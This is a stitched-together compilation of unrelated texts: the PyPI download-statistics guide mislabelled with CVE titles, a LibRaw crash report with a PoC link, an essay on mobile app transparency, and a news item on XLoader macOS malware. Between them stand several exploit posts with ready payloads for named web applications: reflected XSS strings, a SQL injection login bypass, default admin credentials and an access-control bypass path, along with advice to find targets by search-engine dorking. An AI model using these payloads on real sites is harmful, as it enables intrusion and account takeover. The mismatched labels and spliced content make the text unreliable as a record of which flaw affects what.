The json2xml package through 3.12.0 for Python allows an error in typecode decoding enabling a remote attack that can lead to an exception, causing a denial of service.

This section covers how to use the public PyPI download statistics dataset to learn more about downloads of a package (or packages) hosted on PyPI. For example, you can use it to discover the distribution of Python versions used to download a package.

Contents

*   Background
    
*   Public dataset
    
    *   Getting set up
        
    *   Data schema
        
    *   Useful queries
        
        *   Counting package downloads
            
        *   Package downloads over time
            
        *   Python versions over time
            
        *   Getting absolute links to artifacts
            
*   Caveats
    
*   Additional tools
    
    *   google-cloud-bigquery
        
    *   pypinfo
        
    *   pandas-gbq
        
*   References
    

**Background¶**

PyPI does not display download statistics for a number of reasons: 1

*   **Inefficient to make work with a Content Distribution Network (CDN):** Download statistics change constantly. Including them in project pages, which are heavily cached, would require invalidating the cache more often, and reduce the overall effectiveness of the cache.
    
*   **Highly inaccurate:** A number of things prevent the download counts from being accurate, some of which include:
    
    *   pip’s download cache (lowers download counts)
        
    *   Internal or unofficial mirrors (can both raise or lower download counts)
        
    *   Packages not hosted on PyPI (for comparisons sake)
        
    *   Unofficial scripts or attempts at download count inflation (raises download counts)
        
    *   Known historical data quality issues (lowers download counts)
        
*   **Not particularly useful:** Just because a project has been downloaded a lot doesn’t mean it’s good; Similarly just because a project hasn’t been downloaded a lot doesn’t mean it’s bad!
    

In short, because it’s value is low for various reasons, and the tradeoffs required to make it work are high, it has been not an effective use of limited resources.

**Public dataset¶**

As an alternative, the Linehaul project streams download logs from PyPI to Google BigQuery 2, where they are stored as a public dataset.

**Getting set up¶**

In order to use Google BigQuery to query the public PyPI download statistics dataset, you’ll need a Google account and to enable the BigQuery API on a Google Cloud Platform project. You can run up to 1TB of queries per month using the BigQuery free tier without a credit card

*   Navigate to the BigQuery web UI.
    
*   Create a new project.
    
*   Enable the BigQuery API.
    

For more detailed instructions on how to get started with BigQuery, check out the BigQuery quickstart guide.

**Data schema¶**

Linehaul writes an entry in a bigquery-public-data.pypi.file_downloads table for each download. The table contains information about what file was downloaded and how it was downloaded. Some useful columns from the table schema include:

  

Column

Description

Examples

timestamp

Date and time

2020-03-09 00:33:03 UTC

file.project

Project name

pipenv, nose

file.version

Package version

0.1.6, 1.4.2

details.installer.name

Installer

pip, bandersnatch

details.python

Python version

2.7.12, 3.6.4

**Useful queries¶**

Run queries in the BigQuery web UI by clicking the “Compose query” button.

Note that the rows are stored in a partitioned table, which helps limit the cost of queries. These example queries analyze downloads from recent history by filtering on the timestamp column.

**Counting package downloads¶**

The following query counts the total number of downloads for the project “pytest”.

#standardSQL
SELECT COUNT(\*) AS num\_downloads
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE file.project = 'pytest'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE\_SUB(CURRENT\_DATE(), INTERVAL 30 DAY)
    AND CURRENT\_DATE()

num\_downloads

26190085

To count downloads from pip only, filter on the details.installer.name column.

#standardSQL
SELECT COUNT(\*) AS num\_downloads
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE file.project = 'pytest'
  AND details.installer.name = 'pip'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE\_SUB(CURRENT\_DATE(), INTERVAL 30 DAY)
    AND CURRENT\_DATE()

num\_downloads

24334215

**Package downloads over time¶**

To group by monthly downloads, use the TIMESTAMP_TRUNC function. Also filtering by this column reduces corresponding costs.

#standardSQL
SELECT
  COUNT(\*) AS num\_downloads,
  DATE\_TRUNC(DATE(timestamp), MONTH) AS \`month\`
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE
  file.project = 'pytest'
  -- Only query the last 6 months of history
  AND DATE(timestamp)
    BETWEEN DATE\_TRUNC(DATE\_SUB(CURRENT\_DATE(), INTERVAL 6 MONTH), MONTH)
    AND CURRENT\_DATE()
GROUP BY \`month\`
ORDER BY \`month\` DESC

 

num\_downloads

month

1956741

2018-01-01

2344692

2017-12-01

1730398

2017-11-01

2047310

2017-10-01

1744443

2017-09-01

1916952

2017-08-01

**Python versions over time¶**

Extract the Python version from the details.python column. Warning: This query processes over 500 GB of data.

#standardSQL
SELECT
  REGEXP\_EXTRACT(details.python, r"\[0-9\]+\\.\[0-9\]+") AS python\_version,
  COUNT(\*) AS num\_downloads,
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE
  -- Only query the last 6 months of history
  DATE(timestamp)
    BETWEEN DATE\_TRUNC(DATE\_SUB(CURRENT\_DATE(), INTERVAL 6 MONTH), MONTH)
    AND CURRENT\_DATE()
GROUP BY \`python\_version\`
ORDER BY \`num\_downloads\` DESC

 

python

num\_downloads

3.7

18051328726

3.6

9635067203

3.8

7781904681

2.7

6381252241

null

2026630299

3.5

1894153540

**Getting absolute links to artifacts¶**

It’s sometimes helpful to be able to get the absolute links to download artifacts from PyPI based on their hashes, e.g. if a particular project or release has been deleted from PyPI. The metadata table includes the path column, which includes the hash and artifact filename.

Note

The URL generated here is not guaranteed to be stable, but currently aligns with the URL where PyPI artifacts are hosted.

SELECT
  CONCAT('https://files.pythonhosted.org/packages', path) as url
FROM
  \`bigquery-public-data.pypi.distribution\_metadata\`
WHERE
  filename LIKE 'sampleproject%'

url

https://files.pythonhosted.org/packages/eb/45/79be82bdeafcecb9dca474cad4003e32ef8e4a0dec6abbd4145ccb02abe1/sampleproject-1.2.0.tar.gz

https://files.pythonhosted.org/packages/56/0a/178e8bbb585ec5b13af42dae48b1d7425d6575b3ff9b02e5ec475e38e1d6/sampleproject\_nomura-1.2.0-py2.py3-none-any.whl

https://files.pythonhosted.org/packages/63/88/3200eeaf22571f18d2c41e288862502e33365ccbdc12b892db23f51f8e70/sampleproject\_nomura-1.2.0.tar.gz

https://files.pythonhosted.org/packages/21/e9/2743311822e71c0756394b6c5ab15cb64ca66c78c6c6a5cd872c9ed33154/sampleproject\_doubleyoung18-1.3.0-py2.py3-none-any.whl

https://files.pythonhosted.org/packages/6f/5b/2f3fe94e1c02816fe23c7ceee5292fb186912929e1972eee7fb729fa27af/sampleproject-1.3.1.tar.gz

**Caveats¶**

In addition to the caveats listed in the background above, Linehaul suffered from a bug which caused it to significantly under-report download statistics prior to July 26, 2018. Downloads before this date are proportionally accurate (e.g. the percentage of Python 2 vs. Python 3 downloads) but total numbers are lower than actual by an order of magnitude.

**Additional tools¶**

Besides using the BigQuery console, there are some additional tools which may be useful when analyzing download statistics.

**google-cloud-bigquery¶**

You can also access the public PyPI download statistics dataset programmatically via the BigQuery API and the google-cloud-bigquery project, the official Python client library for BigQuery.

from google.cloud import bigquery

\# Note: depending on where this code is being run, you may require
\# additional authentication. See:
\# https://cloud.google.com/bigquery/docs/authentication/
client \= bigquery.Client()

query\_job \= client.query("""
SELECT COUNT(\*) AS num\_downloads
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE file.project = 'pytest'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE\_SUB(CURRENT\_DATE(), INTERVAL 30 DAY)
    AND CURRENT\_DATE()""")

results \= query\_job.result()  \# Waits for job to complete.
for row in results:
    print("{} downloads".format(row.num\_downloads))

**pypinfo¶**

pypinfo is a command-line tool which provides access to the dataset and can generate several useful queries. For example, you can query the total number of download for a package with the command pypinfo package_name.

Install pypinfo using pip.

python3 \-m pip install pypinfo

Usage:

$ pypinfo requests
Served from cache: False
Data processed: 6.87 GiB
Data billed: 6.87 GiB
Estimated cost: $0.04

| download\_count |
| -------------- |
|      9,316,415 |

**pandas-gbq¶**

The pandas-gbq project allows for accessing query results via Pandas.

**References¶**

1

PyPI Download Counts deprecation email

2

PyPI BigQuery dataset announcement email

CVE-2022-25024: Analyzing PyPI package downloads — Python Packaging User Guide

Buffer Overflow vulnerability in LibRaw::stretch() function in libraw\src\postprocessing\aspect_ratio.cpp.

**Description**

An out-of-bounds read vulnerability exists within the "LibRaw::stretch()" function (libraw\\src\\postprocessing\\aspect\_ratio.cpp) when parsing a crafted CRW file.

**Steps to Reproduce**

(poc archive password= girlelecta):  
https://drive.google.com/open?id=1Y70DxvWYfsNS7DBu4cuoUVOoMOyheA8O

cmd:  
magick.exe convert poc.crw new.png

Upon running this, following crash happens (Note: I enabled page heap on magick.exe):

Microsoft (R) Windows Debugger Version 10.0.18362.1 AMD64  
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "C:\\Program Files\\ImageMagick-7.0.9-Q16\\magick.exe" convert E:\\Workspace\\poc.crw E:\\Workspace\\new.png

\*\*\*\*\*\*\*\*\*\*\*\*\* Path validation summary \*\*\*\*\*\*\*\*\*\*\*\*\*\*  
Symbol search path is: srv\*  
Executable search path is:  
ModLoad: 00007ff7 93fc0000 00007ff7 93fcc000 image00007ff7 93fc0000  
ModLoad: 00007ff8 87ea0000 00007ff8 88090000 ntdll.dll  
ModLoad: 00007ff8 70fb0000 00007ff8 71021000 C:\\WINDOWS\\System32\\verifier.dll  
Page heap: pid 0x2ADC: page heap enabled with flags 0x3.  
ModLoad: 00007ff8 87bb0000 00007ff8 87c62000 C:\\WINDOWS\\System32\\KERNEL32.DLL  
ModLoad: 00007ff8 85820000 00007ff8 85ac3000 C:\\WINDOWS\\System32\\KERNELBASE.dll  
ModLoad: 00007ff8 6e630000 00007ff8 6e808000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_MagickCore\_.dll  
ModLoad: 00007ff8 6e550000 00007ff8 6e629000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_MagickWand\_.dll  
ModLoad: 00007ff8 6e460000 00007ff8 6e54f000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\MSVCR120.dll  
ModLoad: 000002c7 22170000 000002c7 2225f000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\MSVCR120.dll  
ModLoad: 00007ff8 74a90000 00007ff8 74ab2000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\VCOMP120.DLL  
ModLoad: 00007ff8 876f0000 00007ff8 87884000 C:\\WINDOWS\\System32\\USER32.dll  
ModLoad: 00007ff8 85e80000 00007ff8 85ea1000 C:\\WINDOWS\\System32\\win32u.dll  
ModLoad: 00007ff8 862f0000 00007ff8 86316000 C:\\WINDOWS\\System32\\GDI32.dll  
ModLoad: 00007ff8 855b0000 00007ff8 85744000 C:\\WINDOWS\\System32\\gdi32full.dll  
ModLoad: 00007ff8 85eb0000 00007ff8 85f4e000 C:\\WINDOWS\\System32\\msvcp\_win.dll  
ModLoad: 00007ff8 87c70000 00007ff8 87d13000 C:\\WINDOWS\\System32\\ADVAPI32.dll  
ModLoad: 00007ff8 86680000 00007ff8 8671e000 C:\\WINDOWS\\System32\\msvcrt.dll  
ModLoad: 00007ff8 861f0000 00007ff8 86287000 C:\\WINDOWS\\System32\\sechost.dll  
ModLoad: 00007ff8 85ad0000 00007ff8 85bca000 C:\\WINDOWS\\System32\\ucrtbase.dll  
ModLoad: 00007ff8 87d40000 00007ff8 87e60000 C:\\WINDOWS\\System32\\RPCRT4.dll  
ModLoad: 00007ff8 74f30000 00007ff8 74f44000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_bzlib\_.dll  
ModLoad: 00007ff8 86600000 00007ff8 8666f000 C:\\WINDOWS\\System32\\WS2\_32.dll  
ModLoad: 00007ff8 6e400000 00007ff8 6e456000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_lcms\_.dll  
ModLoad: 00007ff8 6e360000 00007ff8 6e400000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_freetype\_.dll  
ModLoad: 00007ff8 73500000 00007ff8 73513000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_lqr\_.dll  
ModLoad: 00007ff8 73000000 00007ff8 73018000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_zlib\_.dll  
ModLoad: 00007ff8 6e100000 00007ff8 6e355000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_glib\_.dll  
ModLoad: 00007ff8 86720000 00007ff8 86e05000 C:\\WINDOWS\\System32\\SHELL32.dll  
ModLoad: 00007ff8 857d0000 00007ff8 8581a000 C:\\WINDOWS\\System32\\cfgmgr32.dll  
ModLoad: 00007ff8 85f50000 00007ff8 85ff9000 C:\\WINDOWS\\System32\\shcore.dll  
ModLoad: 00007ff8 86e10000 00007ff8 87146000 C:\\WINDOWS\\System32\\combase.dll  
ModLoad: 00007ff8 85d20000 00007ff8 85da0000 C:\\WINDOWS\\System32\\bcryptPrimitives.dll  
ModLoad: 00007ff8 84e30000 00007ff8 855af000 C:\\WINDOWS\\System32\\windows.storage.dll  
ModLoad: 00007ff8 84e10000 00007ff8 84e2f000 C:\\WINDOWS\\System32\\profapi.dll  
ModLoad: 00007ff8 84d80000 00007ff8 84dca000 C:\\WINDOWS\\System32\\powrprof.dll  
ModLoad: 00007ff8 84d70000 00007ff8 84d80000 C:\\WINDOWS\\System32\\UMPDC.dll  
ModLoad: 00007ff8 87910000 00007ff8 87962000 C:\\WINDOWS\\System32\\shlwapi.dll  
ModLoad: 00007ff8 84dd0000 00007ff8 84de1000 C:\\WINDOWS\\System32\\kernel.appcore.dll  
ModLoad: 00007ff8 857b0000 00007ff8 857c7000 C:\\WINDOWS\\System32\\cryptsp.dll  
ModLoad: 00007ff8 87a50000 00007ff8 87ba6000 C:\\WINDOWS\\System32\\ole32.dll  
ModLoad: 00007ff8 842f0000 00007ff8 8432a000 C:\\WINDOWS\\SYSTEM32\\IPHLPAPI.DLL  
ModLoad: 00007ff8 84330000 00007ff8 843fa000 C:\\WINDOWS\\SYSTEM32\\DNSAPI.dll  
ModLoad: 00007ff8 87900000 00007ff8 87908000 C:\\WINDOWS\\System32\\NSI.dll  
ModLoad: 00007ff8 6e090000 00007ff8 6e0f8000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_libxml\_.dll  
(2adc.2ae0): Break instruction exception - code 80000003 (first chance)  
ntdll!LdrInitShimEngineDynamic+0x35c:  
00007ff8 87f7121c cc int 3  
0:000> g  
ModLoad: 00007ff8 86000000 00007ff8 8602e000 C:\\WINDOWS\\System32\\IMM32.DLL  
ModLoad: 00007ff8 77200000 00007ff8 7720a000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\modules\\coders\\IM\_MOD\_RL\_DNG\_.dll  
ModLoad: 00007ff8 5fe70000 00007ff8 5ff74000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_libraw\_.dll  
ModLoad: 00007ff8 6df60000 00007ff8 6e006000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\MSVCP120.dll  
(2adc.2ae0): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
CORE\_RL\_libraw\_!LibRaw::stretch+0x17d:  
00007ff8 5febc7ed 430fb70402 movzx eax,word ptr \[r10+r8\] ds:000002c7 284ac5c0=????  
0:000> k  
Child-SP RetAddr Call Site  
00 000000e1 ef2f3af0 00007ff8 5fedb222 CORE\_RL\_libraw\_!LibRaw::stretch+0x17d  
01 000000e1 ef2f3b70 00007ff8 772016b4 CORE\_RL\_libraw\_!LibRaw::dcraw\_process+0x562  
02 000000e1 ef2f3be0 00007ff8 6e6704ac IM\_MOD\_RL\_DNG\_+0x16b4  
03 000000e1 ef2f5c70 00007ff8 6e670fbc CORE\_RL\_MagickCore\_!ReadImage+0x47c  
04 000000e1 ef2fadc0 00007ff8 6e569636 CORE\_RL\_MagickCore\_!ReadImages+0x1ac  
05 000000e1 ef2fbe40 00007ff8 6e5ac907 CORE\_RL\_MagickWand\_!ConvertImageCommand+0x566  
06 000000e1 ef2fd760 00007ff7 93fc130b CORE\_RL\_MagickWand\_!MagickCommandGenesis+0x5a7  
07 000000e1 ef2fe920 00007ff7 93fc13ec image00007ff7\_93fc0000+0x130b  
08 000000e1 ef2ffb30 00007ff7 93fc1783 image00007ff7\_93fc0000+0x13ec  
09 000000e1 ef2ffb60 00007ff8 87bc7bd4 image00007ff7\_93fc0000+0x1783  
0a 000000e1 ef2ffb90 00007ff8 87f0ced1 KERNEL32!BaseThreadInitThunk+0x14  
0b 000000e1 ef2ffbc0 00000000 00000000 ntdll!RtlUserThreadStart+0x21

**System Configuration**

*   ImageMagick:  
    Version: ImageMagick-7.0.9-Q16 https://imagemagick.org  
    License: https://imagemagick.org/script/license.php
*   Environment (Operating system, version and so on):  
    Distributor ID: Microsoft Windows  
    Description: Windows 10

CVE-2020-22628: "LibRaw::stretch()" Out-of-bounds read vulnerability · Issue #269 · LibRaw/LibRaw

FOG Forum version 0.8 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : FOG Forum v0.8 XSS Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://fogproject.org/                                                                                            || # Dork      : Powered by FOG Forum 0.8                                                                                           |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  This vulnerability affects : /forum/fen.php. [+]  Attack details :     URI was set to ;904045'():;984994     The input is reflected inside <script> tag between single quotes.[+]  This vulnerability affects /forum/index.php.  [+]  Attack details :     URL encoded GET input fog_action was set to 1" onmouseover=prompt(984696) bad="     The input is reflected inside a tag parameter between double quotes.Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

FOG Forum 0.8 Cross Site Scripting

FoccusWeb CMS version 0.1 suffers from a cross site scripting vulnerability.

**FoccusWeb CMS 0.1 Cross Site Scripting**

Posted Aug 22, 2023

Authored by indoushka

FoccusWeb CMS version 0.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 4ec7d01c602a400932502d010a16a7b1bacb2f323fbd9f44c16aef7baacd0231

Download | Favorite | View

**FoccusWeb CMS 0.1 Cross Site Scripting**

    ======================================================================================================================================| # Title     : FoccusWeb CMS v0.1 XSS Vulnerability                                                                                 || # Author    : indoushka                                                                                                            || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                               | | # Vendor    : http://www.foccusweb.com/site/                                                                                       |  ======================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /resultados.html?txt-busca=1<script>alert(/indoushka/);</script>&yt0=submit[+] http://127.0.0.1/saogabrielrsgovbr/Portal/busca/resultados.html?txt-busca=1%3Cscript%3Ealert(/indoushka/);%3C/script%3E&yt0=submitGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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FoccusWeb CMS 0.1 Cross Site Scripting

Fluent CMS version 1.0.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : Fluent CMS V 1.0.0 Auth by pass Vulnerability                                                                      || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 77.0.1(32-bit)                                             | | # Vendor    : http://www.fluenttechnology.com/                                                                                   |  | # Dork      : "Developed By - Fluent Technology"                                                                                 |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : User & Pass : 1' or 1=1 -- -[+] admin Panel : /fluentcms/Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Fluent CMS 1.0.0 SQL Injection

FlightPath LMS version 4.8.2 suffers from an insecure direct object reference vulnerability.

    ====================================================================================================================================| # Title     : FlightPath LMS v4.8.2 Insecure Direct Object Reference Vulnerability                                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit)                                               || # Vendor    : http://getflightpath.com                                                                                           |  | # Dork      : R.I.P                                                                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] suffers from an insecure direct object reference vulnerability that allows an unauthorized administrative access.[+] Use payload : /tools/course-search/[+] http://127.0.0.1/getflightpathcom/sites/getflightpath/demo/4x/flightpath/tools/course-searchGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

FlightPath LMS 4.8.2 Insecure Direct Object Reference

FleetCart Laravel Ecommerce System version 1.1.2 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : FleetCart - Laravel Ecommerce System v1.1.2 Insecure Settings Vulnerability                                        || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                             | | # Vendor    : https://codecanyon.net/item/fleetcart-laravel-ecommerce-system/23014826?s_rank=175                                 |  | # Dork      : R.I.P                                                                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] appears to leave a default administrative account in place post installation.[+] Use Payload : Email: admin@email.com & Password: 123456 [+] Panel : https://127.0.0.1/kingamesro/admin/mediaGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

FleetCart Laravel Ecommerce System 1.1.2 Insecure Settings

FixBook Repair Shop Management Tool version 2.2 suffers from an information leakage vulnerability.

    ====================================================================================================================================| # Title     : FixBook - Repair Shop Management Tool v2.2 Password Hash Disclosure Vulnerability                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://codecanyon.net/item/fixbook-repair-shop-management-tool/12333567                                           || # Dork      : R.I.P                                                                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] Open the source code of the page.[+] Go 2 line 49  found pass of databass encrypted . view-source:http://target_site/repair/update/[+] Here Update admin information : http://127.0.0.1/epbuys.co.uk/repair/update/Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

FixBook Repair Shop Management Tool 2.2 Hash Disclosure

Unlike web browsers, mobile apps increasingly make it difficult or impossible to see what companies are really doing with your data. The answer? An inspectability API.

In today’s digital world, injustice lurks in the shadows of the Facebook post that’s delivered to certain groups of people at the exclusion of others, the hidden algorithm used to profile candidates during job interviews, and the risk-assessment algorithms used for criminal sentencing and welfare fraud detention. As algorithmic systems are integrated into every aspect of society, regulatory mechanisms struggle to keep up.

Over the past decade, researchers and journalists have found ways to unveil and scrutinize these discriminatory systems, developing their own data collection tools. As the internet has moved from browsers to mobile apps, however, this crucial transparency is quickly disappearing.

Third-party analysis of digital systems has largely been made possible by two seemingly banal tools that are commonly used to inspect what’s happening on a webpage: browser add-ons and browser developer tools.

Browser add-ons are small programs that can be installed directly onto a web browser, allowing users to augment how they interact with a given website. While add-ons are commonly used to operate tools like password managers and ad-blockers, they are also incredibly useful for enabling people to collect their own data within a tech platform’s walled garden.

Similarly, browser developer tools were made to allow web developers to test and debug their websites’ user interfaces. As the internet evolved and websites became more complex, these tools evolved too, adding features like the ability to inspect and change source code, monitor network activity, and even detect when a website is accessing your location or microphone. These are powerful mechanisms for investigating how companies track, profile, and target their users.

I have put these tools to use as a data journalist to show how a marketing company logged users’ personal data even before they clicked “submit” on a form and, more recently, how the Meta Pixel tool (formerly the Facebook Pixel tool) tracks users without their explicit knowledge in sensitive places such as hospital websites, federal student loan applications, and the websites of tax-filing tools.

In addition to exposing surveillance, browser inspection tools provide a powerful way to crowdsource data to study discrimination, the spread of misinformation, and other types of harms tech companies cause or facilitate. But in spite of these tools’ powerful capabilities, their reach is limited. In 2023, Kepios reported that 92 percent of global users accessed the internet through their smartphones, whereas only 65 percent of global users did so using a desktop or laptop computer.

Though the vast majority of internet traffic has moved to smartphones, we don’t have tools for the smartphone ecosystem that afford the same level of “inspectability” as browser add-ons and developer tools. This is because web browsers are implicitly transparent, while mobile phone operating systems are not.

If you want to view a website in your web browser, the server has to send you the source code. Mobile apps, on the other hand, are compiled, executable files that you usually download from places such as Apple’s iOS App Store or Google Play. App developers don’t need to publish the source code for people to use them.

Similarly, monitoring network traffic on web browsers is trivial. This technique is often more useful than inspecting source code to see what data a company is collecting on users. Want to know which companies a website shares your data with? You’ll want to monitor the network traffic, not inspect the source code. On smartphones, network monitoring is possible, but it usually requires the installation of root certificates that make users’ devices less secure and more vulnerable to man-in-the-middle attacks from bad actors. And these are just some of the differences that make collecting data securely from smartphones much harder than from browsers.

The need for independent collection is more pressing than ever. Previously, company-provided tools such as the Twitter API and Facebook’s CrowdTangle, a tool for monitoring what’s trending on Facebook, were the infrastructure that powered a large portion of research and reporting on social media. However, as these tools become less useful and accessible, new methods of independent data collection are needed to understand what these companies are doing and how people are using their platforms.

To meaningfully report on the impact digital systems have on society, we need to be able to observe what’s taking place on our devices without asking a company for permission. As someone who has spent the past decade building tools that crowdsource data to expose algorithmic harms, I believe the public should have the ability to peek under the hood of their mobile apps and smart devices, just as they can on their browsers. And it’s not just me: The Integrity Institute, a nonprofit working to protect the social internet, recently released a report that lays bare the importance of transparency as a lever to achieve public interest goals like accountability, collaboration, understanding, and trust.

To demand transparency from tech platforms, we need a platform-independent transparency framework, something that I like to call an inspectability API. Such a framework would empower even the most vulnerable populations to capture evidence of harm from their devices while minimizing the risk of their data being used in research or reporting without their consent.

An application programming interface (API) is a way for companies to make their services or data available to other developers. For example, if you’re building a mobile app and want to use the phone’s camera for a specific feature, you would use the iOS or Android Camera API. Another common example is an accessibility API, which allows developers to make their applications accessible to people with disabilities by making the user interface legible to screen readers and other accessibility tools commonly found on modern smartphones and computers. An inspectability API would allow individuals to export data from the apps they use every day and share it with researchers, journalists, and advocates in their communities. Companies could be required to implement this API to adhere to transparency best practices, much as they are required to implement accessibility features to make their apps and websites usable for people with disabilities.

In the US, residents of some states can request the data companies collect on them, thanks to state-level privacy laws. While these laws are well-intentioned, the data that companies share to comply with them is usually structured in a way that obfuscates crucial details that would expose harm. For example, Facebook has a fairly granular data export service that allows individuals to see, amongst other things, their “Off-Facebook activity.” However, as the Markup found during a series of investigations into the use of Pixel, even though Facebook told users which websites were sharing data, it did not reveal just how invasive the information being shared was. Doctor appointments, tax filing information, and student loan information were just some of the things that were being sent to Facebook. An inspectability API would make it easy for people to monitor their devices and see how the apps they use track them in real time.

Some promising work is already being done: Apple’s introduction of the App Privacy Report in iOS 15 marked the first time iPhone users could see detailed privacy information to understand each app’s data collection practices and even answer questions such as, “Is Instagram listening to my microphone?”

But we cannot rely on companies to do this at their discretion—we need a clear framework to define what sort of data should be inspectable and exportable by users, and we need regulation that penalizes companies for not implementing it. Such a framework would not only empower users to expose harms, but also ensure that their privacy is not violated. Individuals could choose what data to share, when, and with whom.

An inspectability API will empower individuals to fight for their rights by sharing the evidence of harm they have been exposed to with people who can raise public awareness and advocate for change. It would enable organizations such as Princeton’s Digital Witness Lab, which I cofounded and lead, to conduct data-driven investigations by collaborating closely with vulnerable communities, instead of relying on tech companies for access. This framework would allow researchers and others to conduct this work in a way that is safe, precise, and, most importantly, prioritizes the consent of the people being harmed.

The Internet Is Turning Into a Data Black Box. An ‘Inspectability API’ Could Crack It Open

A new variant of an Apple macOS malware called XLoader has surfaced in the wild, masquerading its malicious features under the guise of an office productivity app called "OfficeNote."
"The new version of XLoader is bundled inside a standard Apple disk image with the name OfficeNote.dmg," SentinelOne security researchers Dinesh Devadoss and Phil Stokes said in a Monday analysis. "The application

Malware / Endpoint Security

A new variant of an Apple macOS malware called **XLoader** has surfaced in the wild, masquerading its malicious features under the guise of an office productivity app called "OfficeNote."

"The new version of **XLoader** is bundled inside a standard Apple disk image with the name OfficeNote.dmg," SentinelOne security researchers Dinesh Devadoss and Phil Stokes said in a Monday analysis. "The application contained within is signed with the developer signature MAIT JAKHU (54YDV8NU9C)."

XLoader, first detected in 2020, is considered a successor to Formbook and is an information stealer and keylogger offered under the malware-as-a-service (MaaS) model. A macOS variant of the malware emerged in July 2021, distributed as a Java program in the form of a compiled .JAR file.

"Such files require the Java Runtime Environment, and for that reason the malicious .jar file will not execute on a macOS install out of the box, since Apple stopped shipping JRE with Macs over a decade ago," the cybersecurity firm noted at the time.

The latest iteration of XLoader gets around this limitation by switching to programming languages such as C and Objective C, with the disk image file signed on July 17, 2023. Apple has since revoked the signature.

SentinelOne said it detected multiple submissions of the artifact on VirusTotal all through the month of July 2023, indicating a widespread campaign.

"Advertisements on crimeware forums offer the Mac version for rental at $199/month or $299/3 months," the researchers said. "Interestingly, this is relatively expensive compared to Windows variants of XLoader, which go for $59/month and $129/3 months."

Once executed, OfficeNote throws an error message saying it "can't be opened because the original item can't be found," but, in reality, it installs a Launch Agent in the background for persistence.

XLoader is designed to harvest clipboard data as well as information stored in the directories associated with web browsers such as Google Chrome and Mozilla Firefox. Safari, however, is not targeted.

Besides taking steps to evade analysis both manually and by automated solutions, the malware is configured to run sleep commands to delay its execution and avoid raising any red flags.

"XLoader continues to present a threat to macOS users and businesses," the researchers concluded.

"This latest iteration masquerading as an office productivity application shows that the targets of interest are clearly users in a working environment. The malware attempts to steal browser and clipboard secrets that could be used or sold to other threat actors for further compromise."

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